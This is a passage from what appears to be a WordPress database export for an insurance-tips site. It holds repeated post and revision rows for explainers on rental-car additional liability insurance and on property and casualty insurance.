insurance company and the rental or ride-sharing agency to find out what’s covered, what isn’t, and how rental car coverage works in your specific situation. Additional liability insurance could make sense if you:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-35\"><!-- wp:list-item -->\n<li>Have an existing auto policy, but limits are low or don’t cover your rental</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have assets such as a home or savings you need to protect against claims</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Already have claims on your auto history that are keeping your insurance rates high</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Don’t want a new possible claim on your auto record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want to participate in a car-sharing program and your insurance doesn’t cover such programs or rentals</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">Supplemental liability insurance might not be a good fit if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-39\"><!-- wp:list-item -->\n<li>Already carry high-limit personal auto or umbrella policies that cover your car rental</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Aren’t concerned about an expensive claim damaging your assets or auto insurance rates</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Find out that the rental includes a high-liability coverage amount</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rent cars so frequently that increased limits on your policy might make more financial sense, even if a claim occurs</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Frequently Asked Questions (FAQs)&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does your car insurance cover rental cars?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can ask your insurer whether your auto coverage or umbrella insurance extends to liability coverage for rental cars. Ask about the limits and how your insurance works if you injure someone else or their property in an accident while driving a rental car. However, even if you have coverage, remember that any damages you cause to others will be a claim against your insurance and may impact your rates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What if you don’t have personal auto insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re renting a car without auto insurance, you may need to sign up for the rental agency’s liability policy if it isn’t automatically included. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does your credit card offer car rental insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your credit card may offer car rental coverage, but in most cases, this coverage is often limited to damages to the rental car by collision or theft.<sup>34</sup>The credit card company doesn’t offer coverage for injuries you cause to others or their property. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does supplemental liability insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to one car rental company, supplemental liability protection can range between $8 and $17 per day, depending on location.<sup>5</sup>&nbsp;Another company states the charge is around $15 per day.<sup>6</sup></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should I get additional liability insurance when traveling?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Whether you need to purchase additional or supplemental liability insurance depends on the nations you’re renting and traveling in. For example, those renting in the U.S. but hoping to cross the border into Mexico must ask about a Mexican insurance policy; this policy is required to enter Mexico and includes liability coverage for claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-2\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Additional or supplemental liability insurance is an optional coverage that helps protect you against large injury or property damage claims that occur when you’re driving a rental, ride-share, or moving vehicle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ALI insurance can cover up to $1 million or more in injury or property damage claims against you in a rental vehicle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>SLI or ALI typically acts as a primary form of insurance for any claims before your personal auto policy steps in to cover claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ALI insurance doesn’t usually cover injury to you, family members, or rental car damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Read additional liability coverage terms, agreements, and exclusions carefully, as policies can vary depending on providers and states.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/back-pain/best-ways-to-ease-back-pain-a5827060008/\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Additional Liability Insurance?','','publish','closed','closed','','what-is-additional-liability-insurance','','','2024-02-27 18:01:31','2024-02-27 18:01:31','',0,'https://smartinsurance.tips/?p=3852',0,'post','',0),(3853,1,'2024-02-27 17:57:30','2024-02-27 17:57:30','','Untitled-4','','inherit','closed','closed','','untitled-4-2','','','2024-02-27 17:57:30','2024-02-27 17:57:30','',3852,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-4.png',0,'attachment','image/png',0),(3854,1,'2024-02-27 18:01:31','2024-02-27 18:01:31','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3853,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-4-1024x1024.png\" alt=\"\" class=\"wp-image-3853\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Additional liability insurance</strong> (ALI) is an optional coverage you can purchase from a car-rental desk, peer-to-peer ride-sharing programs, and moving rental companies. This insurance offers additional financial protection for you and other authorized drivers against claims if you injure a person or damage their property while driving the rental car. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">Definition and Examples of Additional Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Additional liability insurance offers a form of optional, primary coverage for damages you cause to others while behind the wheel of your rented car. This insurance typically has a higher limit (maximum amount paid to the injured or damaged property) beyond any car rental insurance policy included by the rental agency or potentially your auto policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Most major rental car companies offer this insurance for auto rentals. Supplemental liability coverage can also be suggested as an option by moving-truck rental companies or peer-to-peer ride-sharing companies for hourly or daily trips. With peer-to-peer ride-share apps or platforms, this insurance may be included with the service. ALI policies for different sectors can vary based on which state you’re in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-5\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Supplemental liability coverage, liability insurance supplement, or liability protection</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Acronym</strong>: ALI, SLP, or LIS</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">For example, let’s say you sign up for the liability insurance supplement when you rent a car through Hertz and injure another driver in an accident. If the other driver’s medical costs total $100,000, your rental LIS may pay those costs and you won’t need to report the claim to your own insurance company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">However, your auto policy may not cover box truck or moving rentals. You may need to obtain supplemental insurance just in case you injure someone while operating a moving van.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-11\">How Additional Liability Insurance Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">To use additional liability or supplemental insurance, you must sign up for the coverage when first renting the car for an additional per-day charge. It is an optional coverage, and you can decline supplemental liability if you wish. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The coverage helps protect your personal auto insurance policy and your financial assets from claims if you’re at fault in an accident and the claim is lower than your ALI coverage amount.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Insurance coverage amount and type can vary based on state. For example, coverage may be for up to $300,000, $1 million, or $2 million. This coverage may be more than your personal auto policy or duplicate your own auto or umbrella policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">Coverage and coverage amounts may or may not include damages caused by uninsured and underinsured motorists, depending upon the state you rent in and the rental agency. If a state requires the rental agency to provide uninsured motorist/underinsured motorist coverage, the standard liability policy will likely include uninsured/underinsured coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">If you’re involved in an accident, follow your rental agency’s instructions for reporting an accident. If a claim has been filed against you, you may be asked to send written notice to the insurer.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">What Does Additional Liability Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Additional liability insurance or supplemental liability insurance will likely cover the following up to the policy’s limits:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-24\"><!-- wp:list-item -->\n<li>Claims by other drivers regarding injury or death you’ve caused while driving the rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Claims for property damage you’ve caused in your rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage from uninsured or underinsured motorists, depending on state and company</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Claims for injury, death, and damage are usually covered only if occurring in the U.S. or Canada if the car was rented in the U.S.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">What’s Not Covered by Additional Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Additional liability won’t cover everything. Costs that ALI likely won’t cover include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-30\"><!-- wp:list-item -->\n<li>Bodily damage to you, family members, or other household members&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Property damage to your rental vehicle</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fines or other fees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damage sustained in Mexico</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Property damage or bodily injury that occurs due to car use that’s prohibited, such as driving under the influence of alcohol or drugs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business use of a rental vehicle</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Decide Whether You Need Additional Rental Car Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Before you accept supplemental liability insurance, call your insurance company and the rental or ride-sharing agency to find out what’s covered, what isn’t, and how rental car coverage works in your specific situation. Additional liability insurance could make sense if you:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-35\"><!-- wp:list-item -->\n<li>Have an existing auto policy, but limits are low or don’t cover your rental</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Have assets such as a home or savings you need to protect against claims</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Already have claims on your auto history that are keeping your insurance rates high</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Don’t want a new possible claim on your auto record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Want to participate in a car-sharing program and your insurance doesn’t cover such programs or rentals</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">Supplemental liability insurance might not be a good fit if you:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-39\"><!-- wp:list-item -->\n<li>Already carry high-limit personal auto or umbrella policies that cover your car rental</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Aren’t concerned about an expensive claim damaging your assets or auto insurance rates</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Find out that the rental includes a high-liability coverage amount</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rent cars so frequently that increased limits on your policy might make more financial sense, even if a claim occurs</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-41\">Frequently Asked Questions (FAQs)&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does your car insurance cover rental cars?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can ask your insurer whether your auto coverage or umbrella insurance extends to liability coverage for rental cars. Ask about the limits and how your insurance works if you injure someone else or their property in an accident while driving a rental car. However, even if you have coverage, remember that any damages you cause to others will be a claim against your insurance and may impact your rates.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What if you don’t have personal auto insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re renting a car without auto insurance, you may need to sign up for the rental agency’s liability policy if it isn’t automatically included. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does your credit card offer car rental insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your credit card may offer car rental coverage, but in most cases, this coverage is often limited to damages to the rental car by collision or theft.<sup>34</sup>The credit card company doesn’t offer coverage for injuries you cause to others or their property. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does supplemental liability insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>According to one car rental company, supplemental liability protection can range between $8 and $17 per day, depending on location.<sup>5</sup>&nbsp;Another company states the charge is around $15 per day.<sup>6</sup></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should I get additional liability insurance when traveling?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Whether you need to purchase additional or supplemental liability insurance depends on the nations you’re renting and traveling in. For example, those renting in the U.S. but hoping to cross the border into Mexico must ask about a Mexican insurance policy; this policy is required to enter Mexico and includes liability coverage for claims.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-2\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Additional or supplemental liability insurance is an optional coverage that helps protect you against large injury or property damage claims that occur when you’re driving a rental, ride-share, or moving vehicle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ALI insurance can cover up to $1 million or more in injury or property damage claims against you in a rental vehicle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>SLI or ALI typically acts as a primary form of insurance for any claims before your personal auto policy steps in to cover claims.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>ALI insurance doesn’t usually cover injury to you, family members, or rental car damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Read additional liability coverage terms, agreements, and exclusions carefully, as policies can vary depending on providers and states.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/health/back-pain/best-ways-to-ease-back-pain-a5827060008/\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Additional Liability Insurance?','','inherit','closed','closed','','3852-revision-v1','','','2024-02-27 18:01:31','2024-02-27 18:01:31','',3852,'https://smartinsurance.tips/?p=3854',0,'revision','',0),(3855,1,'2024-02-27 18:06:00','2024-02-27 18:06:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3856,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-5-1024x1024.png\" alt=\"\" class=\"wp-image-3856\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Property and casualty insurance&nbsp;</strong>describes various insurance products that protect your assets (home, belongings, cars) and you when you’re legally responsible for damages to someone else’s property or another person’s injuries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Property and casualty (P&amp;C) insurance are often bundled together to protect your assets and you when you’re legally liable for someone else’s injuries or property damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You’ll find property and casualty insurance under numerous types of insurance, such as homeowners, auto, and renters insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your state or lender may require certain levels of property and casualty insurance. Even if they don’t, having property and casualty coverage is a good idea because it can shield you from financial hardship when you have a covered claim.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">Definition and Examples of Property and Casualty Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Property and casualty (P&amp;C) insurance are two types of insurance. The property insurance side protects your personal property, while the casualty part offers liability coverage when you accidentally hurt someone or damage their property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">The instances this type of insurance covers depends on the type of policy you have. For example, a homeowners insurance policy offers property insurance for your dwelling and personal belongings, and liability insurance if a guest trips on your stoop and is injured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">P&amp;C insurance is often sold together, although you don’t always have to buy all the protections they offer. For example, if you have an old car that’s not worth much, you may decide to reduce your premiums by opting out of comprehensive and collision insurance. If you wanted to, you could use your savings to beef up your bodily injury and property damage liability coverage. This would eliminate your property insurance while boosting your casualty insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">You’d have to pay out of pocket for any damage to your car after an accident, but you’d be better financially protected from paying the other party’s medical bills, property damage, lost wages, pain and suffering, and other costs if you’re legally liable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How Property and Casualty Insurance Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Property and casualty insurance works like other types of insurance. In exchange for a premium, insurers protect you from risks specified in your policy, up to your policy’s limits. Part of the way insurers determine your premium is how likely you are to need to file a claim. Insurance for a coastal house in South Florida, where hurricanes are a major risk, is likely to cost much more than the same home in a state without natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">P&amp;C Insurance: An Example</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">Say a hurricane grazed your area. Your city was far from the eye’s center, but the winds and pounding rain still took their toll. After the storm passes, you notice part of your roof and siding need repair. And unfortunately, a guest who was staying with you trips on the way out over some debris. They require medical attention, and file a lawsuit to receive reimbursement for medical expenses, which total $5,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Standard home insurance policies typically cover wind damage to your home from hurricanes, but not always. No matter what type of insurance you have, understand your policy to know your coverage and limits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You file a claim with your home insurance for both your property damage and personal liability. The insurance adjuster determines there’s $50,000 worth of structural damage. You have a special $10,000 hurricane deductible, so the insurer reimburses you $40,000 to fix the damage, spread out over a series of checks. And because homeowners insurance doesn’t have a deductible for liability coverage, the insurer covers the full $5,000 of your guest’s medical expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: While you wait for approval of your claim and settlement checks, you must mitigate further losses, such as drying out areas that may have gotten wet in the home and securing tarps over the damaged areas in our scenario.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Types of Property and Casualty Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">You can find property and casualty insurance under various types of insurance. Here are some of the most common ones and the types of coverage they provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-25\"><!-- wp:list-item -->\n<li><strong>Homeowners insurance</strong>: Can protect your house and possessions against perils (theft, fire, storm). Also covers you when you’re legally responsible for damage to someone else’s property or guest injuries that occur on and sometimes off your property.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Condo insurance</strong>: Protects your unit’s interior when there’s structural damage and usually includes liability insurance similar to homeowners insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Renters insurance</strong>: Protects your personal belongings and provides liability coverage similar to homeowners insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Car insurance</strong>: Helps protect you and your car in a few ways, depending on your coverage. Most states require certain amounts of bodily injury and property damage liability coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Power sports insurance:&nbsp;</strong>Protects boats, all-terrain vehicles (ATVs), recreational vehicles (RVs), golf carts, and other vehicles similarly to car insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Business insurance:&nbsp;</strong>Protects your business’s assets, such as its buildings and personal property like equipment and inventory. Various types of coverage may fall under the liability portion, including workers’ compensation, errors and omissions, and general liability.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">Do I Need Property and Casualty Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">If you have a loan on your asset, lenders may require you to have certain coverages and limits. For example, homeowners and condo insurance aren’t mandated by law, but your lender likely requires specific levels of coverage as a condition of your loan. Landlords may ask you to have renters insurance as a condition of the lease to reduce their liabilities and avoid having to pay for damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Even if you aren’t obligated to get P&amp;C insurance by law or because you’ve paid off your loan, it’s wise to have these coverages anyway. They protect you from financial hardship in cases of replacing damaged property or paying liability claims that otherwise would have been covered by insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">Auto liability insurance is mandatory in nearly all states, so you must carry at least your state’s minimum liability limits. Your auto loan lender may also require you to have full coverage, which includes liability, comprehensive, and collision coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Similarly, your state laws may require you to have specific business insurances, such as workers’ compensation or auto insurance for cars used by the business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-property-and-casualty-insurance-5197178\">click h</a><a href=\"https://www.thebalancemoney.com/additional-liability-insurance-5268121\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Property and Casualty Insurance?','','publish','closed','closed','','what-is-property-and-casualty-insurance-2','','','2024-02-27 18:06:00','2024-02-27 18:06:00','',0,'https://smartinsurance.tips/?p=3855',0,'post','',0),(3856,1,'2024-02-27 18:03:23','2024-02-27 18:03:23','','Untitled-5','','inherit','closed','closed','','untitled-5-2','','','2024-02-27 18:03:23','2024-02-27 18:03:23','',3855,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-5.png',0,'attachment','image/png',0),(3857,1,'2024-02-27 18:06:00','2024-02-27 18:06:00','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3856,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-5-1024x1024.png\" alt=\"\" class=\"wp-image-3856\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Property and casualty insurance&nbsp;</strong>describes various insurance products that protect your assets (home, belongings, cars) and you when you’re legally responsible for damages to someone else’s property or another person’s injuries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Property and casualty (P&amp;C) insurance are often bundled together to protect your assets and you when you’re legally liable for someone else’s injuries or property damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You’ll find property and casualty insurance under numerous types of insurance, such as homeowners, auto, and renters insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your state or lender may require certain levels of property and casualty insurance. Even if they don’t, having property and casualty coverage is a good idea because it can shield you from financial hardship when you have a covered claim.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-1\">Definition and Examples of Property and Casualty Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Property and casualty (P&amp;C) insurance are two types of insurance. The property insurance side protects your personal property, while the casualty part offers liability coverage when you accidentally hurt someone or damage their property.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">The instances this type of insurance covers depends on the type of policy you have. For example, a homeowners insurance policy offers property insurance for your dwelling and personal belongings, and liability insurance if a guest trips on your stoop and is injured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">P&amp;C insurance is often sold together, although you don’t always have to buy all the protections they offer. For example, if you have an old car that’s not worth much, you may decide to reduce your premiums by opting out of comprehensive and collision insurance. If you wanted to, you could use your savings to beef up your bodily injury and property damage liability coverage. This would eliminate your property insurance while boosting your casualty insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-8\">You’d have to pay out of pocket for any damage to your car after an accident, but you’d be better financially protected from paying the other party’s medical bills, property damage, lost wages, pain and suffering, and other costs if you’re legally liable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How Property and Casualty Insurance Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Property and casualty insurance works like other types of insurance. In exchange for a premium, insurers protect you from risks specified in your policy, up to your policy’s limits. Part of the way insurers determine your premium is how likely you are to need to file a claim. Insurance for a coastal house in South Florida, where hurricanes are a major risk, is likely to cost much more than the same home in a state without natural disasters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-15\">P&amp;C Insurance: An 